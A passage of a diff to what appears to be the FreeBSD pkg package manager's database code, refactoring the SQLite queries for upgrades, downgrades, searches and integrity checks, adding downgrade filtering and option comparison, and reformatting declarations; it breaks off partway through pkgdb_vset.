	/* Determine if there is an upgrade needed */
	sql_exec(db->sqlite, "INSERT OR REPLACE INTO pkgjobs (pkgid, origin, name, version, comment, desc, message, arch, "
@@ -2425,6 +2673,16 @@ pkgdb_query_installs(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, c
	sbuf_printf(sql, weight_sql, reponame, reponame);
	sbuf_finish(sql);

+
	if (!force) {
+

+
		/* Remove all the downgrades in dependencies as well
+
		 * we asked for upgrade :) */
+
		sql_exec(db->sqlite, "DELETE FROM pkgjobs WHERE "
+
		    "(SELECT p.origin FROM main.packages AS p WHERE "
+
		    "p.origin=pkgjobs.origin AND PKGGT(p.version,pkgjobs.version))"
+
		    "IS NOT NULL;");
+
	}
+

	sql_exec(db->sqlite, sbuf_get(sql));

	sql_exec(db->sqlite, "UPDATE pkgjobs set weight=100000 where origin=\"ports-mgmt/pkg\"");
@@ -2433,7 +2691,8 @@ pkgdb_query_installs(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, c
	sbuf_printf(sql, finalsql, reponame);
	sbuf_finish(sql);

-
	if (sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL) != SQLITE_OK) {
+
	if (sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL)
+
	    != SQLITE_OK) {
		ERROR_SQLITE(db->sqlite);
		sbuf_delete(sql);
		return (NULL);
@@ -2448,10 +2707,11 @@ pkgdb_query_installs(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, c
struct pkgdb_it *
pkgdb_query_upgrades(struct pkgdb *db, const char *repo, bool all)
{
-
	sqlite3_stmt *stmt = NULL;
-
	struct sbuf *sql = NULL;
-
	const char *reponame = NULL;
-
	struct pkgdb_it *it;
+
	sqlite3_stmt	*stmt = NULL;
+
	struct sbuf	*sql = NULL;
+
	const char	*reponame = NULL;
+
	struct pkgdb_it	*it;
+
	int		 ret;

	if ((it = pkgdb_query_newpkgversion(db, repo)) != NULL) {
		pkg_emit_newpkgversion();
@@ -2461,30 +2721,36 @@ pkgdb_query_upgrades(struct pkgdb *db, const char *repo, bool all)
	assert(db != NULL);
	assert(db->type == PKGDB_REMOTE);

-
	const char finalsql[] = "select pkgid as id, origin, name, version, "
+
	const char	 finalsql[] = ""
+
		"select pkgid as id, origin, name, version, "
		"comment, desc, message, arch, maintainer, "
		"www, prefix, flatsize, newversion, newflatsize, pkgsize, "
		"cksum, repopath, automatic, weight, "
		"'%s' AS dbname FROM pkgjobs order by weight DESC;";

-
	const char pkgjobs_sql_1[] = "INSERT OR IGNORE INTO pkgjobs (pkgid, origin, name, version, comment, desc, arch, "
-
			"maintainer, www, prefix, flatsize, pkgsize, "
-
			"cksum, repopath, automatic) "
-
			"SELECT id, origin, name, version, comment, desc, "
-
			"arch, maintainer, www, prefix, flatsize, pkgsize, "
-
			"cksum, path, 0 FROM '%s'.packages WHERE origin IN (select origin from main.packages)";
-

-
	const char pkgjobs_sql_2[] = "INSERT OR IGNORE INTO pkgjobs (pkgid, origin, name, version, comment, desc, arch, "
-
				"maintainer, www, prefix, flatsize, pkgsize, "
-
				"cksum, repopath, automatic) "
+
	const char	 pkgjobs_sql_1[] = ""
+
		"INSERT OR IGNORE INTO pkgjobs (pkgid, origin, name, version, comment, desc, arch, "
+
			"maintainer, www, prefix, flatsize, newversion, pkgsize, "
+
			"cksum, repopath, automatic, opts) "
+
			"SELECT r.id, r.origin, r.name, r.version, r.comment, r.desc, "
+
			"r.arch, r.maintainer, r.www, r.prefix, r.flatsize, r.version AS newversion, r.pkgsize, "
+
			"r.cksum, r.path, l.automatic ,"
+
			"(select group_concat(option) from (select option from '%s'.options WHERE package_id=r.id AND value='on' ORDER BY option)) "
+
			"FROM '%s'.packages r INNER JOIN main.packages l ON l.origin = r.origin";
+

+
	const char	 pkgjobs_sql_2[] = ""
+
		"INSERT OR IGNORE INTO pkgjobs (pkgid, origin, name, version, comment, desc, arch, "
+
				"maintainer, www, prefix, flatsize, newversion, pkgsize, "
+
				"cksum, repopath, automatic, opts) "
				"SELECT DISTINCT r.id, r.origin, r.name, r.version, r.comment, r.desc, "
-
				"r.arch, r.maintainer, r.www, r.prefix, r.flatsize, r.pkgsize, "
-
				"r.cksum, r.path, 1 "
+
				"r.arch, r.maintainer, r.www, r.prefix, r.flatsize, NULL AS newversion, r.pkgsize, "
+
				"r.cksum, r.path, 1, "
+
				"(select group_concat(option) from (select option from '%s'.options WHERE package_id=r.id AND value='on' ORDER BY option)) "
				"FROM '%s'.packages AS r where r.origin IN "
				"(SELECT d.origin from '%s'.deps AS d, pkgjobs as j WHERE d.package_id = j.pkgid) "
				"AND (SELECT p.origin from main.packages as p WHERE p.origin=r.origin AND version=r.version) IS NULL;";

-
	const char *pkgjobs_sql_3;
+
	const char	*pkgjobs_sql_3;
	if (!all) {
		pkgjobs_sql_3 = "INSERT OR REPLACE INTO pkgjobs (pkgid, origin, name, version, comment, desc, message, arch, "
			"maintainer, www, prefix, flatsize, newversion, newflatsize, pkgsize, "
@@ -2504,7 +2770,8 @@ pkgdb_query_upgrades(struct pkgdb *db, const char *repo, bool all)
			"FROM main.packages AS l, pkgjobs AS r WHERE l.origin = r.origin";
	}

-
	const char weight_sql[] = "UPDATE pkgjobs SET weight=("
+
	const char	weight_sql[] = ""
+
		"UPDATE pkgjobs SET weight=("
		"SELECT COUNT(*) FROM '%s'.deps AS d, '%s'.packages AS p, pkgjobs AS j "
			"WHERE d.origin = pkgjobs.origin "
				"AND d.package_id = p.id "
@@ -2517,22 +2784,41 @@ pkgdb_query_upgrades(struct pkgdb *db, const char *repo, bool all)
	sql = sbuf_new_auto();
	create_temporary_pkgjobs(db->sqlite);

-
	sbuf_printf(sql, pkgjobs_sql_1, reponame);
+
	sbuf_printf(sql, pkgjobs_sql_1, reponame, reponame);
	sbuf_finish(sql);
	sql_exec(db->sqlite, sbuf_get(sql));

	/* Remove packages already installed and in the latest version */
-
	if (!all)
-
		sql_exec(db->sqlite, "DELETE from pkgjobs where (select p.origin from main.packages as p where p.origin=pkgjobs.origin and p.version=pkgjobs.version and p.name = pkgjobs.name) IS NOT NULL;");
+
	if (!all) {
+
		/* Remove all the downgrades we asked for upgrade :) */
+
		sql_exec(db->sqlite, "DELETE FROM pkgjobs WHERE "
+
		    "(SELECT p.origin FROM main.packages AS p WHERE "
+
		    "p.origin=pkgjobs.origin AND PKGGT(p.version,pkgjobs.version))"
+
		    "IS NOT NULL;");
+
		sql_exec(db->sqlite, "DELETE FROM pkgjobs WHERE "
+
		    "(SELECT p.origin FROM main.packages AS p WHERE "
+
		    "p.origin=pkgjobs.origin AND p.version=pkgjobs.version AND p.name = pkgjobs.name "
+
		    "AND (SELECT group_concat(option) FROM (select option FROM main.options WHERE package_id=p.id AND value='on' ORDER BY option)) IS pkgjobs.opts "
+
		    ")IS NOT NULL;");
+
	}

	sbuf_reset(sql);
-
	sbuf_printf(sql, pkgjobs_sql_2, reponame, reponame);
+
	sbuf_printf(sql, pkgjobs_sql_2, reponame, reponame, reponame);
	sbuf_finish(sql);

	do {
		sql_exec(db->sqlite, sbuf_get(sql));
	} while (sqlite3_changes(db->sqlite) != 0);

+
	if (!all) {
+
		/* Remove all the downgrades in dependencies as well
+
		 * we asked for upgrade :) */
+
		sql_exec(db->sqlite, "DELETE FROM pkgjobs WHERE "
+
		    "(SELECT p.origin FROM main.packages AS p WHERE "
+
		    "p.origin=pkgjobs.origin AND PKGGT(p.version,pkgjobs.version))"
+
		    "IS NOT NULL;");
+
	}
+

	/* Determine if there is an upgrade needed */
	sql_exec(db->sqlite, pkgjobs_sql_3);

@@ -2548,7 +2834,8 @@ pkgdb_query_upgrades(struct pkgdb *db, const char *repo, bool all)
	sbuf_printf(sql, finalsql, reponame);
	sbuf_finish(sql);

-
	if (sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL) != SQLITE_OK) {
+
	ret = sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL);
+
	if (ret != SQLITE_OK) {
		ERROR_SQLITE(db->sqlite);
		sbuf_delete(sql);
		return (NULL);
@@ -2562,14 +2849,15 @@ pkgdb_query_upgrades(struct pkgdb *db, const char *repo, bool all)
struct pkgdb_it *
pkgdb_query_downgrades(struct pkgdb *db, const char *repo)
{
-
	struct sbuf *sql = NULL;
-
	const char *reponame = NULL;
-
	sqlite3_stmt *stmt = NULL;
+
	struct sbuf	*sql = NULL;
+
	const char	*reponame = NULL;
+
	sqlite3_stmt	*stmt = NULL;
+
	int		 ret;

	assert(db != NULL);
	assert(db->type == PKGDB_REMOTE);

-
	const char finalsql[] = ""
+
	const char	 finalsql[] = ""
		"SELECT l.id, l.origin AS origin, l.name AS name, l.version AS version, l.comment AS comment, l.desc AS desc, "
		"l.message AS message, l.arch AS arch, l.maintainer AS maintainer, "
		"l.www AS www, l.prefix AS prefix, l.flatsize AS flatsize, r.version AS version, r.flatsize AS newflatsize, "
@@ -2586,7 +2874,8 @@ pkgdb_query_downgrades(struct pkgdb *db, const char *repo)
	sbuf_printf(sql, finalsql, reponame, reponame);
	sbuf_finish(sql);

-
	if (sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL) != SQLITE_OK) {
+
	ret = sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL);
+
	if (ret != SQLITE_OK) {
		ERROR_SQLITE(db->sqlite);
		sbuf_delete(sql);
		return (NULL);
@@ -2599,12 +2888,12 @@ pkgdb_query_downgrades(struct pkgdb *db, const char *repo)
struct pkgdb_it *
pkgdb_query_autoremove(struct pkgdb *db)
{
-
	sqlite3_stmt *stmt = NULL;
-
	int weight = 0;
+
	sqlite3_stmt	*stmt = NULL;
+
	int		 weight = 0;

	assert(db != NULL);

-
	const char sql[] = ""
+
	const char	 sql[] = ""
		"SELECT id, p.origin, name, version, comment, desc, "
		"message, arch, maintainer, www, prefix, "
		"flatsize FROM packages as p, autoremove where id = pkgid ORDER BY weight ASC;";
@@ -2631,17 +2920,18 @@ pkgdb_query_autoremove(struct pkgdb *db)
}

struct pkgdb_it *
-
pkgdb_query_delete(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, int recursive)
+
pkgdb_query_delete(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs,
+
		   int recursive)
{
-
	sqlite3_stmt *stmt = NULL;
+
	sqlite3_stmt	*stmt = NULL;

-
	struct sbuf *sql = sbuf_new_auto();
-
	const char *how = NULL;
-
	int i = 0;
+
	struct sbuf	*sql = sbuf_new_auto();
+
	const char	*how = NULL;
+
	int		 i = 0, ret;

	assert(db != NULL);

-
	const char sqlsel[] = ""
+
	const char	 sqlsel[] = ""
		"SELECT id, p.origin, name, version, comment, desc, "
		"message, arch, maintainer, www, prefix, "
		"flatsize, (select count(*) from deps AS d where d.origin=del.origin) as weight FROM packages as p, delete_job as del where id = pkgid "
@@ -2667,7 +2957,9 @@ pkgdb_query_delete(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, int
		sbuf_finish(sql);

		for (i = 0; i < nbpkgs; i++) {
-
			if (sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL) != SQLITE_OK) {
+
			ret = sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1,
+
			    &stmt, NULL);
+
			if (ret != SQLITE_OK) {
				ERROR_SQLITE(db->sqlite);
				sbuf_delete(sql);
				return (NULL);
@@ -2677,7 +2969,9 @@ pkgdb_query_delete(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, int
		}
	} else {
		sbuf_finish(sql);
-
		if (sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL) != SQLITE_OK) {
+
		ret = sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1,
+
		    &stmt, NULL);
+
		if (ret != SQLITE_OK) {
			ERROR_SQLITE(db->sqlite);
			sbuf_delete(sql);
			return (NULL);
@@ -2696,7 +2990,8 @@ pkgdb_query_delete(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, int
		} while (sqlite3_changes(db->sqlite) != 0);
	}

-
	if (sqlite3_prepare_v2(db->sqlite, sqlsel, -1, &stmt, NULL) != SQLITE_OK) {
+
	if (sqlite3_prepare_v2(db->sqlite, sqlsel, -1, &stmt, NULL)
+
	    != SQLITE_OK) {
		ERROR_SQLITE(db->sqlite);
		sbuf_delete(sql);
		return (NULL);
@@ -2709,19 +3004,21 @@ pkgdb_query_delete(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, int
}

struct pkgdb_it *
-
pkgdb_rquery(struct pkgdb *db, const char *pattern, match_t match, const char *repo)
-
{
-
	sqlite3_stmt *stmt = NULL;
-
	struct sbuf *sql = NULL;
-
	bool multirepos_enabled = false;
-
	const char *reponame = NULL;
-
	const char *comp = NULL;
-
	char basesql[BUFSIZ] = ""
-
				"SELECT id, origin, name, version, comment, "
-
				"prefix, desc, arch, maintainer, www, "
-
				"licenselogic, flatsize, pkgsize, "
-
				"cksum, path AS repopath, '%s' AS dbname "
-
				"FROM '%s'.packages p";
+
pkgdb_rquery(struct pkgdb *db, const char *pattern, match_t match,
+
    const char *repo)
+
{
+
	sqlite3_stmt	*stmt = NULL;
+
	struct sbuf	*sql = NULL;
+
	bool		 multirepos_enabled = false;
+
	const char	*reponame = NULL;
+
	const char	*comp = NULL;
+
	int		 ret;
+
	char		 basesql[BUFSIZ] = ""
+
		"SELECT id, origin, name, version, comment, "
+
		"prefix, desc, arch, maintainer, www, "
+
		"licenselogic, flatsize, pkgsize, "
+
		"cksum, path AS repopath, '%1$s' AS dbname "
+
		"FROM '%1$s'.packages p";

	assert(db != NULL);
	assert(match == MATCH_ALL || (pattern != NULL && pattern[0] != '\0'));
@@ -2740,8 +3037,12 @@ pkgdb_rquery(struct pkgdb *db, const char *pattern, match_t match, const char *r
	 * Working on multiple remote repositories
	 */
	if (multirepos_enabled && !strcmp(reponame, "default")) {
-
		/* duplicate the query via UNION for all the attached databases */
-
		if (sql_on_all_attached_db(db->sqlite, sql, basesql) != EPKG_OK) {
+
		/* duplicate the query via UNION for all the attached
+
		 * databases */
+

+
		ret = sql_on_all_attached_db(db->sqlite, sql,
+
		    basesql, " UNION ALL ");
+
		if (ret != EPKG_OK) {
			sbuf_delete(sql);
			return (NULL);
		}
@@ -2751,7 +3052,8 @@ pkgdb_rquery(struct pkgdb *db, const char *pattern, match_t match, const char *r
	sbuf_cat(sql, " ORDER BY name;");
	sbuf_finish(sql);

-
	if (sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL) != SQLITE_OK) {
+
	ret = sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL);
+
	if (ret != SQLITE_OK) {
		ERROR_SQLITE(db->sqlite);
		sbuf_delete(sql);
		return (NULL);
@@ -2767,57 +3069,85 @@ pkgdb_rquery(struct pkgdb *db, const char *pattern, match_t match, const char *r


static int
-
pkgdb_search_build_search_query(struct sbuf *sql, match_t match, unsigned int field)
+
pkgdb_search_build_search_query(struct sbuf *sql, match_t match,
+
    pkgdb_field field, pkgdb_field sort)
{
-
	const char *how = NULL;
-
	const char *what = NULL;
+
	const char	*how = NULL;
+
	const char	*what = NULL;
+
	const char	*orderby = NULL;

	how = pkgdb_get_match_how(match);

-
	switch(field) {
-
		case FIELD_NONE:
-
			what = NULL;
-
			break;
-
		case FIELD_ORIGIN:
-
			what = "origin";
-
			break;
-
		case FIELD_NAME:
-
			what = "name";
-
			break;
-
		case FIELD_NAMEVER:
-
			what = "name || \"-\" || version";
-
			break;
-
		case FIELD_COMMENT:
-
			what = "comment";
-
			break;
-
		case FIELD_DESC:
-
			what = "desc";
-
			break;
+
	switch (field) {
+
	case FIELD_NONE:
+
		what = NULL;
+
		break;
+
	case FIELD_ORIGIN:
+
		what = "origin";
+
		break;
+
	case FIELD_NAME:
+
		what = "name";
+
		break;
+
	case FIELD_NAMEVER:
+
		what = "name || \"-\" || version";
+
		break;
+
	case FIELD_COMMENT:
+
		what = "comment";
+
		break;
+
	case FIELD_DESC:
+
		what = "desc";
+
		break;
	}

	if (what != NULL && how != NULL)
		sbuf_printf(sql, how, what);

+
	switch (sort) {
+
	case FIELD_NONE:
+
		orderby = NULL;
+
		break;
+
	case FIELD_ORIGIN:
+
		orderby = " ORDER BY origin";
+
		break;
+
	case FIELD_NAME:
+
		orderby = " ORDER BY name";
+
		break;
+
	case FIELD_NAMEVER:
+
		orderby = " ORDER BY name, version";
+
		break;
+
	case FIELD_COMMENT:
+
		orderby = " ORDER BY comment";
+
		break;
+
	case FIELD_DESC:
+
		orderby = " ORDER BY desc";
+
		break;
+
	}
+

+
	if (orderby != NULL)
+
		sbuf_cat(sql, orderby);
+

	return (EPKG_OK);
}

struct pkgdb_it *
-
pkgdb_search(struct pkgdb *db, const char *pattern, match_t match, unsigned int field, const char *reponame)
-
{
-
	sqlite3_stmt *stmt = NULL;
-
	struct sbuf *sql = NULL;
-
	bool multirepos_enabled = false;
-
	const char *basesql = ""
-
				"SELECT id, origin, name, version, comment, "
-
					"prefix, desc, arch, maintainer, www, "
-
					"licenselogic, flatsize AS newflatsize, pkgsize, "
-
					"cksum, path AS repopath ";
-
	const char *multireposql = ""
-
				"SELECT id, origin, name, version, comment, "
-
					"prefix, desc, arch, maintainer, www, "
-
					"licenselogic, flatsize, pkgsize, "
-
					"cksum, path, '%s' AS dbname "
-
					"FROM '%s'.packages ";
+
pkgdb_search(struct pkgdb *db, const char *pattern, match_t match,
+
    pkgdb_field field, pkgdb_field sort, const char *reponame)
+
{
+
	sqlite3_stmt	*stmt = NULL;
+
	struct sbuf	*sql = NULL;
+
	bool		 multirepos_enabled = false;
+
	int		 ret;
+
	const char	*basesql = ""
+
		"SELECT id, origin, name, version, comment, "
+
		"prefix, desc, arch, maintainer, www, "
+
		"licenselogic, flatsize AS newflatsize, pkgsize, "
+
		"cksum, path AS repopath ";
+
	const char	*multireposql = ""
+
		"SELECT id, origin, name, version, comment, "
+
		"prefix, desc, arch, maintainer, www, "
+
		"licenselogic, flatsize, pkgsize, "
+
		"cksum, path, '%1$s' AS dbname "
+
		"FROM '%1$s'.packages ";

	assert(db != NULL);
	assert(pattern != NULL && pattern[0] != '\0');
@@ -2839,15 +3169,18 @@ pkgdb_search(struct pkgdb *db, const char *pattern, match_t match, unsigned int

		if (reponame != NULL) {
			if (is_attached(db->sqlite, reponame)) {
-
				sbuf_printf(sql, multireposql, reponame, reponame);
+
				sbuf_printf(sql, multireposql, reponame,
+
				    reponame);
			} else {
-
				pkg_emit_error("Repository %s can't be loaded", reponame);
+
				pkg_emit_error("Repository %s can't be loaded",
+
				    reponame);
				sbuf_delete(sql);
				return (NULL);
			}
		} else {
			/* test on all the attached databases */
-
			if (sql_on_all_attached_db(db->sqlite, sql, multireposql) != EPKG_OK) {
+
			if (sql_on_all_attached_db(db->sqlite, sql,
+
			    multireposql, " UNION ALL ") != EPKG_OK) {
				sbuf_delete(sql);
				return (NULL);
			}
@@ -2863,11 +3196,12 @@ pkgdb_search(struct pkgdb *db, const char *pattern, match_t match, unsigned int
		sbuf_cat(sql, ", 'remote' AS dbname FROM remote.packages WHERE ");
	}

-
	pkgdb_search_build_search_query(sql, match, field);
+
	pkgdb_search_build_search_query(sql, match, field, sort);
	sbuf_cat(sql, ";");
	sbuf_finish(sql);

-
	if (sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL) != SQLITE_OK) {
+
	ret = sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL);
+
	if (ret != SQLITE_OK) {
		ERROR_SQLITE(db->sqlite);
		sbuf_delete(sql);
		return (NULL);
@@ -2883,27 +3217,29 @@ pkgdb_search(struct pkgdb *db, const char *pattern, match_t match, unsigned int
int
pkgdb_integrity_append(struct pkgdb *db, struct pkg *p)
{
-
	int ret = EPKG_OK;
+
	int		 ret = EPKG_OK;
+
	sqlite3_stmt	*stmt = NULL;
+
	sqlite3_stmt	*stmt_conflicts = NULL;
+
	struct pkg_file	*file = NULL;
+
	struct sbuf	*conflictmsg = NULL;

-
	sqlite3_stmt *stmt = NULL;
-
	sqlite3_stmt *stmt_conflicts = NULL;
-
	struct pkg_file *file = NULL;
-
	struct sbuf *conflictmsg = NULL;
-

-
	const char sql[] = "INSERT INTO integritycheck (name, origin, version, path)"
+
	const char	 sql[] = ""
+
		"INSERT INTO integritycheck (name, origin, version, path)"
		"values (?1, ?2, ?3, ?4);";
-
	const char sql_conflicts[] = "SELECT name, version from integritycheck where path=?1;";
+
	const char	 sql_conflicts[] = ""
+
		"SELECT name, version from integritycheck where path=?1;";

-
	assert( db != NULL && p != NULL);
+
	assert(db != NULL && p != NULL);

-
	sql_exec(db->sqlite, "CREATE TEMP TABLE IF NOT EXISTS integritycheck ( "
+
	sql_exec(db->sqlite, "CREATE TEMP TABLE IF NOT EXISTS integritycheck ("
			"name TEXT, "
			"origin TEXT, "
			"version TEXT, "
			"path TEXT UNIQUE);"
		);

-
	if (sqlite3_prepare_v2(db->sqlite, sql, -1, &stmt, NULL) != SQLITE_OK) {
+
	if (sqlite3_prepare_v2(db->sqlite, sql, -1, &stmt, NULL)
+
	    != SQLITE_OK) {
		ERROR_SQLITE(db->sqlite);
		return (EPKG_FATAL);
	}
@@ -2911,33 +3247,37 @@ pkgdb_integrity_append(struct pkgdb *db, struct pkg *p)
	conflictmsg = sbuf_new_auto();

	while (pkg_files(p, &file) == EPKG_OK) {
-
		const char *name, *origin, *version;
+
		const char	*name, *origin, *version;
+
		const char	*pkg_path = pkg_file_path(file);

-
		pkg_get(p, PKG_NAME, &name, PKG_ORIGIN, &origin, PKG_VERSION, &version);
+
		pkg_get(p, PKG_NAME, &name, PKG_ORIGIN, &origin,
+
		    PKG_VERSION, &version);
		sqlite3_bind_text(stmt, 1, name, -1, SQLITE_STATIC);
		sqlite3_bind_text(stmt, 2, origin, -1, SQLITE_STATIC);
		sqlite3_bind_text(stmt, 3, version, -1, SQLITE_STATIC);
-
		sqlite3_bind_text(stmt, 4, pkg_file_get(file, PKG_FILE_PATH), -1, SQLITE_STATIC);
+
		sqlite3_bind_text(stmt, 4, pkg_path, -1, SQLITE_STATIC);

		if (sqlite3_step(stmt) != SQLITE_DONE) {
			sbuf_clear(conflictmsg);
-
			sbuf_printf(conflictmsg, "WARNING: %s-%s conflict on %s with: \n",
-
			    name, version,
-
			    pkg_file_get(file, PKG_FILE_PATH));
+
			sbuf_printf(conflictmsg,
+
			    "WARNING: %s-%s conflict on %s with: \n", name,
+
			    version, pkg_path);

-
			if (sqlite3_prepare_v2(db->sqlite, sql_conflicts, -1, &stmt_conflicts, NULL) != SQLITE_OK) {
+
			if (sqlite3_prepare_v2(db->sqlite, sql_conflicts,
+
			    -1, &stmt_conflicts, NULL) != SQLITE_OK) {
				ERROR_SQLITE(db->sqlite);
				sqlite3_finalize(stmt);
				sbuf_delete(conflictmsg);
				return (EPKG_FATAL);
			}

-
			sqlite3_bind_text(stmt_conflicts, 1, pkg_file_get(file, PKG_FILE_PATH), -1, SQLITE_STATIC);
+
			sqlite3_bind_text(stmt_conflicts, 1, pkg_path,
+
			    -1, SQLITE_STATIC);

			while (sqlite3_step(stmt_conflicts) != SQLITE_DONE) {
				sbuf_printf(conflictmsg, "\t- %s-%s\n",
-
						sqlite3_column_text(stmt_conflicts, 0),
-
						sqlite3_column_text(stmt_conflicts, 1));
+
				    sqlite3_column_text(stmt_conflicts, 0),
+
				    sqlite3_column_text(stmt_conflicts, 1));
			}
			sqlite3_finalize(stmt_conflicts);
			sbuf_finish(conflictmsg);
@@ -2955,16 +3295,19 @@ pkgdb_integrity_append(struct pkgdb *db, struct pkg *p)
int
pkgdb_integrity_check(struct pkgdb *db)
{
-
	int ret = EPKG_OK;
-
	sqlite3_stmt *stmt;
-
	sqlite3_stmt *stmt_conflicts;
-
	struct sbuf *conflictmsg = NULL;
+
	int		 ret, retcode = EPKG_OK;
+
	sqlite3_stmt	*stmt;
+
	sqlite3_stmt	*stmt_conflicts;
+
	struct sbuf	*conflictmsg = NULL;
+

	assert (db != NULL);

-
	const char sql_local_conflict[] = "SELECT p.name, p.version FROM packages AS p, files AS f "
+
	const char	 sql_local_conflict[] = ""
+
		"SELECT p.name, p.version FROM packages AS p, files AS f "
		"WHERE p.id = f.package_id AND f.path = ?1;";

-
	const char sql_conflicts[] = "SELECT name, version from integritycheck where path=?1;";
+
	const char	 sql_conflicts[] = ""
+
		"SELECT name, version from integritycheck where path=?1;";

	if (sqlite3_prepare_v2(db->sqlite,
		"SELECT path, COUNT(path) from ("
@@ -2981,43 +3324,49 @@ pkgdb_integrity_check(struct pkgdb *db)
	while (sqlite3_step(stmt) != SQLITE_DONE) {
		sbuf_clear(conflictmsg);

-
		if (sqlite3_prepare_v2(db->sqlite, sql_local_conflict, -1, &stmt_conflicts, NULL) != SQLITE_OK) {
+
		ret = sqlite3_prepare_v2(db->sqlite, sql_local_conflict, -1,
+
		    &stmt_conflicts, NULL);
+
		if (ret != SQLITE_OK) {
			ERROR_SQLITE(db->sqlite);
			sqlite3_finalize(stmt);
			sbuf_delete(conflictmsg);
			return (EPKG_FATAL);
		}

-
		sqlite3_bind_text(stmt_conflicts, 1, sqlite3_column_text(stmt, 0), -1, SQLITE_STATIC);
+
		sqlite3_bind_text(stmt_conflicts, 1,
+
		    sqlite3_column_text(stmt, 0), -1, SQLITE_STATIC);

		sqlite3_step(stmt_conflicts);

-
		sbuf_printf(conflictmsg, "WARNING: locally installed %s-%s conflicts on %s with:\n",
-
				sqlite3_column_text(stmt_conflicts, 0),
-
				sqlite3_column_text(stmt_conflicts, 1),
-
				sqlite3_column_text(stmt, 0)
-
				);
+
		sbuf_printf(conflictmsg,
+
		    "WARNING: locally installed %s-%s conflicts on %s with:\n",
+
		    sqlite3_column_text(stmt_conflicts, 0),
+
		    sqlite3_column_text(stmt_conflicts, 1),
+
		    sqlite3_column_text(stmt, 0));

		sqlite3_finalize(stmt_conflicts);

-
		if (sqlite3_prepare_v2(db->sqlite, sql_conflicts, -1, &stmt_conflicts, NULL) != SQLITE_OK) {
+
		ret = sqlite3_prepare_v2(db->sqlite, sql_conflicts, -1,
+
		    &stmt_conflicts, NULL);
+
		if (ret != SQLITE_OK) {
			ERROR_SQLITE(db->sqlite);
			sqlite3_finalize(stmt);
			sbuf_delete(conflictmsg);
			return (EPKG_FATAL);
		}

-
		sqlite3_bind_text(stmt_conflicts, 1, sqlite3_column_text(stmt, 0), -1, SQLITE_STATIC);
+
		sqlite3_bind_text(stmt_conflicts, 1,
+
		    sqlite3_column_text(stmt, 0), -1, SQLITE_STATIC);

		while (sqlite3_step(stmt_conflicts) != SQLITE_DONE) {
			sbuf_printf(conflictmsg, "\t- %s-%s\n",
-
					sqlite3_column_text(stmt_conflicts, 0),
-
					sqlite3_column_text(stmt_conflicts, 1));
+
			    sqlite3_column_text(stmt_conflicts, 0),
+
			    sqlite3_column_text(stmt_conflicts, 1));
		}
		sqlite3_finalize(stmt_conflicts);
		sbuf_finish(conflictmsg);
		pkg_emit_error("%s", sbuf_get(conflictmsg));
-
		ret = EPKG_FATAL;
+
		retcode = EPKG_FATAL;
	}

	sqlite3_finalize(stmt);
@@ -3025,21 +3374,24 @@ pkgdb_integrity_check(struct pkgdb *db)

/*	sql_exec(db->sqlite, "DROP TABLE IF EXISTS integritycheck");*/

-
	return (ret);
+
	return (retcode);
}

struct pkgdb_it *
pkgdb_integrity_conflict_local(struct pkgdb *db, const char *origin)
{
-
	sqlite3_stmt *stmt;
+
	sqlite3_stmt	*stmt;
+
	int		 ret;

	assert(db != NULL && origin != NULL);

-
	const char sql_conflicts [] = "SELECT DISTINCT p.id as rowid, p.origin, p.name, p.version, p.prefix "
+
	const char	sql_conflicts [] = ""
+
		"SELECT DISTINCT p.id as rowid, p.origin, p.name, p.version, p.prefix "
		"FROM packages AS p, files AS f, integritycheck AS i "
		"WHERE p.id = f.package_id AND f.path = i.path AND i.origin = ?1";

-
	if (sqlite3_prepare_v2(db->sqlite, sql_conflicts, -1, &stmt, NULL) != SQLITE_OK) {
+
	ret = sqlite3_prepare_v2(db->sqlite, sql_conflicts, -1, &stmt, NULL);
+
	if (ret != SQLITE_OK) {
		ERROR_SQLITE(db->sqlite);
		return (NULL);
	}
@@ -3052,43 +3404,70 @@ pkgdb_integrity_conflict_local(struct pkgdb *db, const char *origin)
static int
pkgdb_vset(struct pkgdb *db, int64_t id, va_list ap)
{
-
	int attr;
-
	char sql[BUFSIZ];
-
	int automatic;
-
	char *oldorigin;
-
	char *neworigin;
+
	int		 attr;
+
	sqlite3_stmt	*stmt;
+
	int64_t		 automatic, flatsize;
+
	char		*oldorigin;
+
	char		*neworigin;
+

+
	/* Ensure there is an entry for each of the pkg_set_attr enum values */
+
	const char *sql[PKG_SET_ORIGIN + 1] = {
+
		[PKG_SET_FLATSIZE]  =
+
		    "UPDATE packages SET flatsize=?1 WHERE id=?2",
+
		[PKG_SET_AUTOMATIC] =
+
		    "UPDATE packages SET automatic=?1 WHERE id=?2",
+
		[PKG_SET_DEPORIGIN] =
+
		    "UPDATE deps SET origin=?1, "
+
		    "name=(SELECT name FROM packages WHERE origin=?1), "
+
		    "version=(SELECT version FROM packages WHERE origin=?1) "
+
		    "WHERE package_id=?2 AND origin=?3",
+
		[PKG_SET_ORIGIN]    =
+
		    "UPDATE packages SET origin=?1 WHERE id=?2",
+
	};

	while ((attr = va_arg(ap, int)) > 0) {
+
		if (sqlite3_prepare_v2(db->sqlite, sql[attr], -1, &stmt, NULL)
+
		    != SQLITE_OK) {
+
			ERROR_SQLITE(db->sqlite);
